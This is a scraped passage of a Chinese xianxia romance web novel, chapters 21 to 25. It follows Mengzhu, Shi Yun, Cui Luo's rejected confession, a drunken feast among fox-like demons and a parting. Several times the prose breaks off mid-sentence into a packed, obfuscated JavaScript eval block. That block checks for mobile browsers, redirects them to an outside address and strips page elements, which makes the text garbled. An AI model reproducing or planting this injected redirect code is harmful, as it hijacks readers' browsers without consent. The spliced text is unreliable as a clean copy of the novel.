“缠住了。”孟竹轻轻扯了一下他的发带,“头低一点,你太高了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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重新将视线集中在结团的发丝上,孟竹问:“你对讨厌的人都这样说话?” 施允笑了笑:“说不定呢?” “……不要总是反问我。”她松开顺好的头发,拍了下他的肩,“好了。” 施允直起身,手搭在颈侧轻轻揉了一下,道:“多谢。” 他一离开,方才几近凝固的空气仿佛又重新流动起来,那股香气也变得浅淡,若有若无。 孟竹后知后觉,手心出了微微的湿汗。 “对了,你来找我做什么的?” 她差点忘了,心跳忽然加快,大概是因为紧张。 “哦……跟你说下,等会在桃花林见,有话跟你说。” 虽然刻意省略了主语,但应该不算撒谎吧。 施允长长地“哦”了一声,他嘴角勾着,问她:“什么话还非得这么晚在桃花林说啊?” “没什么,你记得去。”孟竹转身走到门口,抬手开门。 “孟竹。”施允忽然叫住了她。 “不必太过紧张,有些事情未必不能如你所愿。” 孟竹扭过头看了他一眼,他站在她身后不远处,灯影照在他的眼眸里,笑意深深。 他在说什么东西? 孟竹没听懂,但还是点了点头,开门离去。 22. 第 22 章 入夜了,风吹动枝桠,落下片片桃花。 晚上的月色清亮,绣鞋踩着一地的残花,沙沙作响。 崔萝靠在树干上,望着天上的月亮,心却怎么也静不下来。 她已经在这里等了许久。 脚步声由远及近,崔萝的心跳开始加速,手心出汗,呼吸也变得急促。 余光瞥见一抹红色的身影,他似乎换了衣裳,和白天见到的不是同一件。 脚步声停住,几步之遥。 若有若无的香气弥漫在桃花林中。 她听见那人的声音,带着笑意,伴随着夜风温柔地吹进她的耳朵。 “还藏着做什么,出来吧。” 崔萝深吸一口气,转身从树后走了出来,“施公子……” 她出现的一瞬间,崔萝看见那笑容慢慢凝固在脸上。 施允盯着她,声音竟比方才冷了许多,仿佛刚才她听到的那温柔笑意只是她的幻觉。 “是你?” “对……是我。”崔萝道:“是我让孟姐姐帮我约你出来的。” 施允静了片刻,忽然冷嗤一声,转身欲走。 “施公子!”她着急了,喊了一声,上前牵住他的手。 “等——” 啪—— 毫不留情的力道。 手背火辣辣地疼,更像是一个清脆的巴掌,扇在了她的脸上。 崔萝抿着唇,她忘了,他不喜欢同别人接触。 施允侧着身子,目光寒凉,“干什么?” 她的脸上火辣辣的,不知是羞的,还是觉得自己足够难堪。 “我想同你说,我——” “不必说了。”施允打断了她的话,抽出一块方帕,将自己的手指一根根擦拭干净。 他的下颌绷紧,眼角眉梢都是不近人情的冷漠,道:“不管你说什么,我都不想听。” 地上的残花被风卷起,吹得四散零落。 “我喜欢你。”崔萝盯着面前的人,快速道。 施允眼皮都没抬一下,似乎根本听不见她说了什么。 擦拭干净以后,他将方帕丢在地上,什么话都没说,转身离去。 崔萝不知道站了多久,直到夜风将那方手帕吹远,她才恍惚着将它拾起。 手指慢慢攥紧,抱着膝盖将头埋了进去。 - 临近子夜之时,崔萝才回到了家,孟竹看着那一双肿如核桃的眼睛,叹口气道:“回来了。” 崔萝点点头,虽然眼睛肿着,但看起来情绪并不算太坏,她甚至笑着抱了下孟竹:“唉……反正早就知道结果的。” “我还要多谢孟姐姐,让我把心里话说出来。”她松开孟竹,和她并排坐在床上,神色间竟有股罕见的轻松。 孟竹:“不难过吗?” 崔萝点头:“当然难过啊,但是这种事情又不能勉强,再说了……”她笑嘻嘻朝着孟竹看了一眼:“我这么年轻漂亮,以后肯定还能遇到更好的。” 孟竹也笑了,她很喜欢崔萝这样的姑娘,想做什么便做什么,不给自己留遗憾,拿得起,也放得下。 最开始,孟竹担心她会像万珍儿一样,并不认同她对施允的追逐,却没想到她心里比谁都拎得清。 或许年龄并不是判断一个人是否成熟的唯一标准。 “你说得对。”孟竹道。 崔萝用肩膀轻轻撞了她一下,然后将头靠在孟竹肩上,声音低了下来:“你们明日就要走了……孟姐姐,我舍不得你们。” 她轻轻地说:“我娘去世以后,家里很久没这么热闹过了。” 孟竹偏了偏头,两颗脑袋靠在一起,女孩毛茸茸的头发蹭在脸上,像一个寻求安慰的小狗。 沉默片刻,崔萝忽然道:“孟竹姐姐,你真的不喜欢施公子吗?” 喜欢? 孟竹在心里反复咀嚼着这个词。 那太无趣了。 她摇了摇头,漆黑的眼珠像风雨欲来前的海面,平静得有一丝诡异:“我想要的,不仅仅是这么简单的东西。” “……什么意思?” 孟竹伸手摸了摸崔萝的头发,嘴角又挂上了浅浅的笑,“没什么。” 这一晚,两个人东拉西扯聊了许久,入睡前还能听到女孩轻轻柔柔的话语,渐渐听不清,直到最后,只记得一声温柔的叹息。 第二天一早,孟竹睁眼,身侧的温度已经变凉,崔萝起了个大早。 天色晴朗,朝阳初升,炊烟袅袅。 院子里还静悄悄的,众人都还未起,孟竹这一夜并未睡好,她不习惯在床上干躺着,索性直接起床。 今天就是他们观测好的月圆之夜,他们吃了这顿饭便要启程。 拉开房间的门,她伸了个懒腰,对面吱呀一声门响—— 施允打开门,走了出来。 孟竹伸懒腰的动作停了一瞬,说到底,她确实利用了施允的信任。 穿过院子的时候,她同施允擦肩而过。 心脏像拉满弓的弦,紧紧绷着。 她以为施允会骂她两句。 骗子。 有病。 随便什么。 可他什么话都没说,擦肩而过时,甚至没有看她一眼,仿佛与她素昧平生。 很快,照水和阿喜开门出来,他们今天仿佛有了共同的默契,既没有争吵也没有吵闹。 帮着崔萝将灶房内的水桶装满,又将各自的房间打扫干净,没多久崔萝便张罗着大家吃饭。 为了不耽误他们的时间,崔萝特意早起做了一大桌菜,说是给他们践行。 崔萝不是什么扭捏的人,她开了一壶酒,一人面前放了个杯子,挨个喝了一杯。 到了施允这里,她也没有犹豫,干脆道:“施公子,一路顺遂。” “有些让你不开心的事,这杯酒,就当我赔罪了。” 说完,仰头将酒一饮而尽,眼眸微亮,爽朗大气,盯着施允的目光里再无往日的羞怯。 施允今天的表情格外冷淡,也显得格外不近人情。 迎着众人的视线,他的唇抿成一条直线,手指捏着面前的酒杯一饮而尽。 唇畔染上些润泽的水色,他垂眸看着空杯,神色淡淡,始终不言不语。 孟竹照例替他夹菜,碗里的菜渐渐变凉,冷成块,结成团,变成了倒在桶里的垃圾。 临走时,崔萝给他们每个人都塞了一样东西。 一个精巧秀致的荷包。 唯有递给施允时,他偏开了视线,没有收下。 孟竹很肯定,这种荷包一开始就只是绣给施允一个人的,但又不知道何时,崔萝背着她,给他们每一个人都绣了同样精致的荷包。 那一个个点着灯的夜,姑娘灵巧的双手,眼前温柔的影子,荷包上似乎还残留着些许柔软的温度。 像是短暂汇聚的河流,在分岔口又流向不同的方向。 离开村子很久以后,阿喜才回头望了一眼。 照水看着不远处高高的山峦,不知道在想什么。 唯有施允,他始终不发一言,安静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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施允挑眉:“你倒是个有眼色的,这么轻易放我们进来,不怕我掀了你这丽山?” “仙君说笑了。”老族长直起身,笑道:“您若是想要这小小丽山,又有谁拦得住?更不用说,照水此次能安全回来,就已经是仙君对魅妖一族的照拂了。” “你倒是惯会溜须拍马。” 老族长泡了壶茶,将其中一杯放在施允面前,道:“无论仙君所为何事,我族定会竭尽全力相助。” 施允只看了一眼,“没有你想的那么严重。”静了片刻,才道:“我此次前来,是想请族长为我解开身上的摄魂咒。” “摄魂咒?”老族长面色诧异。 将事情的经过简单说了一遍,老族长的听着,面色越来越奇怪。 “容老朽再确认一遍。”老族长犹豫道,“您是说摄魂珠当日便被捏碎了?” “没错。” “所以距离中摄魂咒那日已经多久了?” “三月有余。” 老族长皱眉思索半天,又用法术细细探查,几次之后,眉头越拧越紧。 “如此难解?” “……倒不是。”老族长忽然深吸一口气。 “我并没有在仙君体内探查到摄魂咒的气息。” 施允一顿。 “或者说,因为失去了摄魂珠,咒术虽不可解,但有一种情况是例外的。” “……什么?” 老族长道:“修为深厚,能将咒术完全压制之人,摄魂咒存于体内,最多三日,便会自行消散。” 哐啷—— 桌上的茶杯滚落在地上,散了一地的碎瓷片。 23. 第 23 章 入夜不久,月亮被云层遮挡,清亮的月光像是笼了一层薄纱,显得朦胧了许多。 竹园外的一处小径上,正站着方才半途折返的孟竹,目光正盯着不远处的屋子。 曲径通幽,夜深人静,有脚步声响起,逐渐近了。 “施允。”孟竹喊了一声。 他恍若未闻,抬脚往边上走。 这条小径狭窄,仅容一人通过,孟竹后退着挪了两步,胳膊一伸就挡住了他的去路。 施允掀起眼皮,淡淡睨她一眼,仿佛在无形地质问。 “我们谈谈。” 意料之中,并没有得到任何回答,孟竹忽然意识到,原来施允真正生气的时候,并不是像她以为的那样会大发雷霆。 她对他所有的了解,都建立在—— 她以为。 “对不起,我是来跟你道歉的,之前是我不对。”孟竹抿唇,接着道:“你想怎么骂我都可以。” 风声穿过竹林,沙沙作响。 很久没有回答,她仿佛在自言自语。 “孟竹。” “嗯。”孟竹抬眼,正好和他的视线对上,“你骂吧,我听着。” 施允看起来有些心不在焉,闻言蓦地一笑,笑意很浅,转瞬即逝。 “我有没有说过,我很讨厌你?” 孟竹点头。 她当然清楚,他强调过很多次。 施允浅浅吐出一口气,又说了一遍,像是自言自语:“对,我很讨厌你。” 被人当面说很讨厌自己是一件很尴尬的事情,这件事情还重复了两次,孟竹抿抿唇:“我知道。” “崔萝姑娘是个很好的人,她又好心收留了我们这么久,于情于理,我都……” 借口。 全是借口。 她话没说完,施允忽然出声打断了她:“所以你的情理,是将我推出去?” 他站在月夜下的竹影中,语气又沉又冷:“孟竹,你以为你是谁?” 她无法辩驳。 孟竹觉得自己的解释很多余,只能无奈道:“是我的错。” “无论怎么样,我都不该骗你。” 说实话,潜意识里,她的确认为这件事算不得什么。 骗了又如何?没骗又如何? 人与人之间,真真假假,你来我往,不过都是戴着面具生活的傀儡罢了。 “对不起。” 孟竹嘴里说着道歉的话,看起来很诚恳的样子。 可不知为何,他没感受到半分诚意。 施允沉默了片刻,微微抬眸看了过来:“除了这句话,你就没什么别的想同我说?” “别生气了。” 伸手推开孟竹拦着的胳膊,施允往前走,他身高腿长,刻意甩开距离的时候走得很快。 这时候退缩的话,矛盾没解决不说,前面的道歉也功亏一篑了。 “施允——” 孟竹皱了皱眉,大步上前,脚下踩到了一片湿泥,猛的朝后滑了一下。 下意识地闭上眼,意料之中的疼痛却没发生,她的胳膊被人稳稳扶住。 施允将她扶好,然后退开,站得离她两步远,道:“少来这套。” 孟竹喘口气,有些茫然地抬眼:“什么?” 他抱臂站在原地,眼睛盯着孟竹,目光像是审视一样将她从头到脚打量了个遍,语气却莫名松缓了些:“这种伎俩以后还是少用。” 说谎骗人这事肯定是不对的,孟竹点点头,道:“知道了。” 她抿唇笑了笑,想要缓和气氛:“还生气呢?” 敛着的眉眼稍稍松开,施允偏开视线,盯着远处闪烁的灯火。 “你知道崔萝跟我说了什么吗?” 孟竹:“大概知道。” 视线转过来,他的声音忽然放慢,缓缓道:“那……她说她喜欢我,你也知道吗?” “……嗯。”她和崔萝同吃同睡,想不知道都难。 看着施允的眉又有重新拧在一起的趋势,孟竹轻声道:“但是这种事情也要两厢情愿才行吧。” “是么?”施允忽然道,“你怎么就确定我和崔萝不是两厢情愿呢?” 孟竹抬眼:“那你是吗?” 施允不说话了。 孟竹又问:“你真心喜欢崔萝姑娘吗?” 他的唇抿成一条线,微微向下,垂眼盯着眼前孟竹,看着月光照在她脸上,照在她忽然晕开的两颗浅浅的梨涡上。 孟竹忽然笑开:“你不是,对不对?” “即使我不是那么了解你,但你不是会随便给出承诺的人。” 从某一方面来说,施允是个很绝情的人,但孟竹所需要的,正是他这样的绝情,不会因为一时兴起随便给人希望,将名为爱恋的萌芽扼杀在摇篮里。 因为不会随意让人靠近,因为不会心软,因为不会让人产生希望,她才会觉得安心。 有时候干脆利落的拒绝,比心软的拖泥带水让人受到的伤害更小一些。 到处都静悄悄的,偶尔有几声虫鸣,月亮爬至高处,拖长了二人的影子。 孟竹往前靠了靠,声音轻轻的:“不生气了吧,施允?” 施允微低着头,不看她。 她想了想,将头凑了过去,正好歪到施允的视线内,“实在不解气的话,要不你也骗我一次,我保证不生气。” 孟竹的表情很诚恳:“我说真的。” 从这个角度,孟竹正好能看见那双被长睫覆盖住的眼睛。 施允抿唇,偏头侧开视线,她听到他的声音,很轻。 “好。” 小径上竹影交错,从这里走出去,便能看到点着灯火的院子,远远飘来好闻的花香。 施允继续朝前走,丢下一句:“走了。” 和方才来的时候不同,眉目舒展,孟竹偏头去看他,他嘴角慢慢扬起,声音洒在风里。 “知道我好看,但还是麻烦你收敛下自己这痴狂的眼神吧。” 孟竹眨眨眼,忽然笑了,“哎呀,被你发现了。” “如你所说,我正在克制自己。” 拐过弯,前面就是一处不大不小院子,用栅栏围着,院子里有一处花圃,种满了不知名的花。 施允瞥她一眼,用手推开院门,“是么?” “那你现在在干嘛?” 他貌似恍然大悟,似笑非笑的:“跟踪我?” 花香扑面而来,微风如醉。 孟竹收回不知不觉跟着他迈入院门的脚,轻咳了一声,“怎么会。” 施允收回笑容,转身往屋里走,修长的影子被月亮拖得很长,不知为何,平添了几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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听到这熟悉的称呼,孟竹笑着转过身,照水手中端了个大锅,正往外哗啦啦冒着热气。 “来喝点暖汤。” 孟竹往里看了一眼,里面有一股药香,不知道加了什么东西。 阿喜也凑过来,“我也要。” 照水用勺子舀了一碗盛给孟竹,待阿喜拿桌子上的碗时,他微微一笑,把碗扣住。 “怎么?你自己没有家吗?怎么赖在别人家里呢?” 他将碗挪开,又道:“怪不得不讨人喜欢。” 阿喜撇撇嘴,冷笑一声:“你当谁愿意赖在这里似的,等主人走了,我马上跟着走,谁稀罕你这破地方。” 他看了孟竹一眼,忽然笑嘻嘻道:“到时候你最喜欢的姐姐也要跟着我们走喽,啧啧,小可怜。” 孟竹无意参与他们的唇枪舌剑,端着碗走到一旁去喝。 屋里两个人又吵了起来,雨声连绵不绝,汤从口中滑入胃里,一阵暖意让她不由自主地眯了眯眼。 穿越后,一颗彷徨的,居无定所的心,仿佛忽然在此刻获得了一点归处。 落定下来。 24. 第 24 章 当天晚上,老族长为了感谢施允的布阵之恩,摆了一场大宴。 孟竹看着那些或老或少,或男或女的人,果然不愧是魅妖一族,个个都拥有着顶级的样貌。 不光是皮相顶级,他们能歌善舞,仿佛天生就拥有着如同天籁一般嗓音和最柔软的身段。 若是在原来那个世界,要是组个团出道,估计能红透半边天。 在这个瑰丽多彩的世界里,唯有她显得格格不入。 忽然一声咒骂将孟竹拉回现实,阿喜两个胳膊肘里和怀里抱着几坛酒,“瞧瞧,我找到了什么好东西。” 照水放下筷子,快步朝着阿喜走去,被他一扭躲开了。 他大笑着,“不让老子喝,偷偷藏这么好的酒,老子今天全给你喝光!” 酒坛子往桌上一放,啵得一声掀开盖子,一阵奇异的酒香迅速蔓延开。 阿喜一边躲着照水的攻击,一边往嘴里咕嘟嘟灌酒。 他一脚踩着座椅,手抬着抹了一把嘴,打了个酒嗝:“爽!” 周围嘻嘻哈哈笑声一片,被这气氛影响,阿喜喝红了脸,往孟竹和施允面前也丢了两坛。 “来啊来啊,不醉不归!” 照水嘲讽的声音悠悠响起:“就你这酒量,没两下就喝趴了。” “呦。”阿喜挑衅道:“不服啊,来比比?” 照水转了转手边的酒坛,道:“行啊。”他盯着阿喜,唇边的笑容扩大:“输了你给我当狗,怎么样?” 孟竹一看就明白了,阿喜喝不过照水,她从小就知道,真正能喝酒的人喝酒基本上是不上脸的,像阿喜这样的,属于放狠话厉害,虎了吧唧,外强中干。 果然阿喜一上头,立马脸红脖子粗地叫唤:“我还怕了你不成?谁输了谁是狗!” 照水转过脸来,冲着孟竹笑:“姐姐作证,有人要当狗了。” 孟竹摆摆手,施允看过来一眼,照水又把头转过去,假装无事发生。 老族长呵呵笑着,对着孟竹道:“姑娘,这酒是我们族里特有的美人醉,别的地儿可喝不到这么好的酒,尝尝吧。” 这个味道确实不同于她平常闻到的酒味,带着一股甜香,她拔开酒塞往嘴里灌了一口,入口顺滑,唇齿留香,带着些淡淡的回甘。 “确实不错。” 施允坐在她身旁,他向来吃得很少,今晚也基本上没怎么动筷子,见孟竹喝了一口,皱眉道:“别多喝,这酒后劲大。” 孟竹将酒坛往他面前一递,“你要不也尝尝?” “我不喜饮酒。” 似乎是被这热闹安心的氛围影响,孟竹忽然放松了很多,她莫名想和这气氛融为一体,往嘴里又送了口酒。 孟竹笑了笑:“施允,你不喜欢的事情好多。” 第一口酒喝下去以后,剩下来的酒就顺理成章的一口接着一口,她双手托着腮,在昏黄的灯影下看旁边的施允。 他没什么表情,黑漆漆的眼里像暗色的海潮,翻涌着什么。 她看不清。 孟竹伸手揉了揉脸,将脸上因为酒染上的热意揉散了些。 施允:“喝醉了?” 孟竹摇摇头,道:“没有。”她想,她的意识还很清醒,大概离喝醉还远着。 外面的雨还在下,淅淅沥沥的雨声打在林叶间,既安静,又吵闹。 老族长不知道什么时候带着族人离开了,只留下了施允、孟竹、照水和阿喜四个人。 忽然哐当一声响,阿喜摇摇晃晃地站起身,两眼发直。 照水拎着酒坛悠哉坐着,脸上别说红了,还是白生生的一幅妖精模样,盯着阿喜的道:“你输了。” “来叫一声听听。” 孟竹撑着下巴看他:“照水,别欺负阿喜了。” 照水:“姐姐……是他欺负我。” 他长长的睫毛颤了颤,有些委屈道:“你不知道,他天天骂我,可难听了。” 沉默许久的施允忽然开口,看向照水:“你今年多大了?” 照水窝在座椅里笑,“一百七十岁。” 妖族的寿命普遍很长,这个年龄在妖类中算是非常年轻的少年。 施允抬了抬下巴,问孟竹:“你呢?” 孟竹:“二十一。” “嗯?”施允嘴角一扯,身体向后,放松靠在椅背上,似笑非笑看着照水:“所以你在这里装什么嫩葱呢?” 一百七十岁,孟竹的岁数连他的零头都不到,叫的是哪门子的姐姐? 照水有些无辜地眨了眨眼,说:“可是我第一次见姐姐,叫的就是姐姐啊。” 孟竹托着下巴,思维变得有些缓慢,想起第一次见照水的模样,他还穿着一副小男孩的皮。 她慢吞吞道:“那不一样吧,我第一次见你,你才这么大点。” 孟竹在空中比划了一个高度,又道:“现在你都变得比我还高,比我还大了。” 她显然是有些醉了,两颊泛红,说话的语速也变慢了许多。 “你大我这么多呢。”孟竹摇头,肯定地说:“叫姐姐,不合适。” 伸手将歪歪斜斜坐着的孟竹扶好,那双狭长的眼睛微弯,“听到了吗,不合适。” 孟竹顺着施允的动作将晕乎乎的视线转过来,问:“那你呢,你多大啊?” 她慢慢歪了脑袋,神情认真地打量着身旁的人。 “……要你管。”施允偏开视线,手指按在孟竹的头顶上,将她的脸转了回去。 照水不吭声了,伸腿踢了两眼发直的阿喜一脚。 阿喜迷迷瞪瞪的,在一片安静声中,忽然—— “汪!” 孟竹没忍住,噗地一声笑了出来。 阿喜坐了下来,咚地一声把脸埋在桌子上,不动了。 偏过头,照水饶有兴致地观赏着阿喜的醉态。 孟竹怀疑,如果此刻有手机的话,他肯定会把阿喜的丑态拍下来,第二天再发给当事人看,让他反复社死。 她摇了摇空空的酒坛,不知不觉竟然已经喝完了,但这酒似乎越喝越渴,喉咙里干得厉害,她又开了一坛,仰头往嘴里送。 刚喝了一口,手腕被人拉住,她看见施允皱眉:“你也想当醉鬼?” 孟竹舔了舔唇:“口渴。” “真麻烦。”施允将酒坛从她手中抽走,“等着。” 身边渐渐安静下来,只听得到雨水不断落下的声音。 照水扛着不省人事的阿喜走了,施允也不知道去了哪里,空无一人的屋子里,静得让人心里发慌。 孟竹手肘撑着桌子,面前的视线变得越来越模糊,感觉一切都变得昏昏沉沉的。 脸上躁热难耐,孟竹想着去洗个脸清醒一下,她慢吞吞挪出了屋子,靠在汲水的竹筒边,外面下着雨,一瞬间的冷意灌入身体,让她似乎清醒了些。 她蹲下身,双手捧着去接竹筒里的水,嘀嘀咕咕道:“怎么这么凉的……” 冷雨中,意识逐渐又模糊成一团,想要起身,却感觉到天旋地转,根本动弹不得。 天和地仿佛融化成一体,日月倒悬,不停地旋转,倒退。 回忆被时光的纽带绞成碎片,锋利的碎刃割破尘封的薄膜,一瞬间将她拉回到了从前,那个下着雨的阳台。 冰冷的,潮湿的,被大风吹散的那个日子。 她在回忆里不断下坠。 下坠。 沉入被大雨浇湿的黑泥中。 …… 她听到了一个人的声音。 “天冷雨凉,蹲在地上做什么?” 周围的雨不知何时停了,孟竹睁开眼,雨水流入眼睛里,又涩又疼。 晦暗的,无尽的黑色中,一抹红吸引了她的视线。 孟竹仰着头,不知是因为雨,还是因为酒,视线模糊极了。 来人乌发红衣,自上而下地看着她,隔着连天的大雨,看起来高不可攀。 她歪着脑袋看他,慢吞吞道:“……你是神仙吗?” 神仙不说话,依旧盯着她。 “你来了,雨就不下了。” “……醉鬼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931974|159150||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 神仙似乎叹了口气,眉眼在雨中变得雾蒙蒙的,柔软极了,他向她伸出一只手,“起来。” 漫天的大雨中,一切都被冲刷得褪去了颜色,只剩下眼前笔直的、模糊的身影。 那只手修长白皙,她伸手碰了一下,眼中自己的手变成了小小的样子。 “小手抓大手,永远不分开。” “妈妈当然最喜欢小竹了,怎么舍得丢下你走掉呢?” “果然从小就是个怪物,真晦气!” “她的死当然怪你,要不是因为你,她怎么会受不了去跳楼啊!” “全部都怪你。” “全部都是你的错。” 孟竹伸出的手颤了一下,像被电击似的猛地收了回来。 开在烂泥里的罪恶之花,生来就是要被人厌弃的。 看着又像鸵鸟一样将自己埋起来的孟竹,施允皱着眉问她:“你要蹲在这里多久?” 孟竹蹲在一地的泥水里,盯着地面发呆。 她双手交叠放在膝上,忽然说了句:“我才没错。” 施允当然听不懂她在说什么,只能沉默着听孟竹胡言乱语。 朦胧夜色中,落雨穿林打叶,她眼神中含着莫名的挣扎,又晦暗了几分,孟竹抬起头,忽然问了施允一个莫名其妙的问题:“你会陪我一起下地狱吗?” 奇怪的话,奇怪的人,更奇怪的是,陪着孟竹讲胡话的自己。 “好啊。”施允漫不经心地应了一声。 他弯下腰,蹲在孟竹身前,手张开,宽大的手掌贴着她湿漉漉的侧脸。 拇指按在冰凉的皮肤上,一寸寸擦去孟竹眉眼间的雨水。 “回去吧。” 孟竹昏昏沉沉,感觉到自己被拉了起来。 她似乎脱离了躯壳,看到了一副画面。 有人背着她,踩着一地的泥水,穿行在苍茫的、无尽的夜雨中。 孟竹的身体很冷,趴在施允的身后微微发抖。 两只湿漉漉的胳膊圈住施允的脖子,头发、裙子,浑身都湿透了。 施允不禁想着,这回真的是一条落水狗了。 湿衣贴着,连他的外袍都洇出水痕,脚下也溅到了星星点点的泥水。 他用灵力烘干了两人的衣服,温度升高,带着暖融融的热意,背上的人终于渐渐安静下来。 用脚踢开院门,把人扔在榻上,施允往凳子上一坐,有些疲惫地揉了揉眉心。 时间一分一秒过去,雨终于停了,房间里变得安静极了,只有孟竹浅浅的呼吸声。 施允面无表情地盯着床上看了许久,确认人已经睡熟,他站起身准备离开。 “唔……” 一道痛苦的呻吟绊住了施允的脚步。 榻上的人翻了个面,面色苍白,忽然坐起身来,急促地呼吸了两下,看着施允道:“我好想吐。” 抓住门栓的手放了下来,施允深吸一口气,向着天花板看了一眼。 “咽下去。”施允冷冷道。 孟竹清醒了点,有气无力地说:“……给我拿个盆。” 铜盆被丢到榻前,发出哐当一声巨响,昭显着扔盆的人翻腾的怒气。 她头晕得很,手撑着床沿想要去够底下的铜盆,不知是不是没看清,手撑了个空,身体一歪,直接头朝地往床下倒。 要栽倒了—— 孟竹还没反应过来,便看见施允不知何时走了过来,他冷着脸将她胳膊一拽,用力往上提。 这一突如其来的冲击让本来就不舒服的胃部更加难受,孟竹的喉头迅速耸动,混乱中抓住了离她最近的东西。 “我说你——” 话语被身上传来湿热的黏稠感打断。 带着酒意的、发酵的酸臭味迅速蔓延开。 像是卡壳的时钟一样,施允僵硬地低下头看了看自己的衣服,又将视线慢慢移至正抱着他的腰狂吐的罪魁祸首。 施允的喉结滚动,干呕了一下。 没忍住。 跟着一起吐了出来。 25. 第 25 章 他绝对不可能喜欢孟竹。 在两个人互相对着吐了一夜之后,他忍受了一夜的肮脏和酸臭,施允再也不怀疑自己的心意了。 说起来,像孟竹这样长相平凡、行为粗鲁的女人,哪一点能让他动心了? 那些奇奇怪怪的反应,肯定是因为摄魂咒留下的后遗症。 施允用水将自己浑身上下洗了十几遍,捏着衣裳的一角,似乎还能透过衣服隐隐闻到皮肤上的味道,让他的喉咙又不由自主地紧缩了一下。 第二天,下了一夜的雨,终于雨过天晴,太阳犹如新生,万物明朗。 施允走出院子,他和孟竹所住的地方只隔了一片花圃。 微风习习,雨后的花香芬芳怡人,随之而来的,是对面一声推门的轻响。 扭过头,四目相对。 两个人不约而同地对着对方打了个干呕。 孟竹哆哆嗦嗦地指着施允:“你……你……呕——” 幸好昨天晚上吐干净了,此刻新换的衣服还没有遭殃。 亏了昨晚的状况,清洁术是她现在用得最熟练的术法。 施允面色苍白,咬牙冷笑:“你什么你。” 孟竹拼命顺着自己的胸口:“咱俩扯平了,你也没少往我身上吐。” “……” “姐姐早啊。” 照水的声音从一旁的小道上传来,身后跟着蔫头耷脑的阿喜。 “照水啊,不是说了不喊姐姐了吗?”孟竹看着阿喜,问:“你又怎么了?” “昨晚饮了酒,今天是不是不太舒服?”照水没接她的话茬,语带关心问道。 阿喜苦着一张脸,也不说话。 没记错的话,昨晚照水也喝了不少,此刻看起来却和她一脸鬼样不同,“……你怎么一点事没有?” “啊……”照水笑了笑,“我就是专程为此事而来的。” “忘了跟姐姐说了,这酒后劲太大,喝完第二天必定难受。”他递给孟竹一个白玉瓷瓶,“这是我族特产的灵露,喝了就没事了。” 孟竹接过来喝了一口,清凉的液体顺着喉咙滑入胃里,瞬间就觉得神清气爽,那种翻江倒海的恶心和头晕都没有了。 “确实很有效,谢谢你照水。” 阿喜欲言又止,盯着孟竹手里的瓶子,眼巴巴的。 孟竹抬抬下巴,“阿喜是不是还没喝啊?” 站在后面的阿喜狂点头,冲着孟竹比了个大拇指,孟竹看懂了他的意思。 好人啊。 谁知照水微微一笑,看也没看身后的人一眼,“我管他死活呢。” 阿喜大怒:“你小子行啊,到了你的地盘了,是装也不装一下了是吧?” “是啊,怎样?” 照水掏出算盘,噼里啪啦开始算账:“美人醉在市面上售价为二百两一坛,你喝了四坛,也就是八百两银子,再加上这两日的食宿费用,算你一千两,根据现在市面上的雇佣价格,每个月算你二两银子,我发发善心帮你减去零头,算下来,你还得替我打工四十年。” “什么?!”阿喜不可置信地瞪着他:“有你这么算的吗?” 孟竹看得一愣一愣的,怎么看怎么觉得照水像个黑心奸商。 “他们俩呢?你怎么不收他们钱?”阿喜忿忿不平道。 “施公子帮忙加固了封印,是我族的客人。”照水停顿了一下:“至于姐姐,你怎么好意思和她相提并论?” “好啊,你这玲珑心当真吃得好啊!” 阿喜扑通一声,像条死鱼一样倒在地上,“要钱没有,要命一条,你杀了我吧。” 没人理他。 过了会儿,他又自顾自爬了起来,朝着施允的方向哭嚎:“主人,给我一千两,我给你当牛做马,受不了这窝囊气了。” 施允不知在想什么,只轻飘飘地看了一眼,并不理会眼前的这一场闹剧。 阿喜自知没趣,愤愤道:“什么金子酿的酒要二百两一坛,我看你就是纯心要害我!” “没见识。”照水抬眸冷笑:“你喝过多少酒?又见过多少人?跟我讨价还价,你算哪根葱?” “说错了,不是葱。”他勾勾手指:“来,叫一声。” “狗。” “……” 伴随着阿喜的一声怒骂,战火一触即发。 两个炮仗一样的人又被点着了,孟竹迅速远离了战场,这两个人每次吵都离施允远远的,大概是怕了施允那阴晴不定的臭脾气。 她视线转了一圈,还是觉得施允身边最安静。 怀中的玉简发出一阵光,施允拿出来,片刻后,抬眼望向了身旁。 “孟竹。” 靠在一旁打瞌睡的人睁眼,“怎么了?” “我要离开了。” 他的声音很轻,她却听得分明。 时间仿佛被按下了暂停键。 风声、喧闹的人声淡去,世界一瞬间变得很安静。 孟竹低垂着眼睛,沉默。 良久,她慢慢扭过头看了施允一眼:“你要回去了吗?” “嗯。” 他把玩着手上的玉简,微低着头,不知在想什么。 “那……你还回来吗?” 这一路结伴而行,争争吵吵,嬉笑怒骂,时间过得真是很快,让她一时间都忘了,每个人终究都有各自的路要走。 只不过她没想到,这一天会来得这么快,这么突然。 “不回来了。”他说。 “我要做的事情已经结束了。” 如果不是因为中了摄魂咒,他早就应该离开了。 施允想着,大概以后,也不会再和孟竹有所牵扯了。 全部都是一场意外罢了。 孟竹迟疑了一下,“当初你说……” 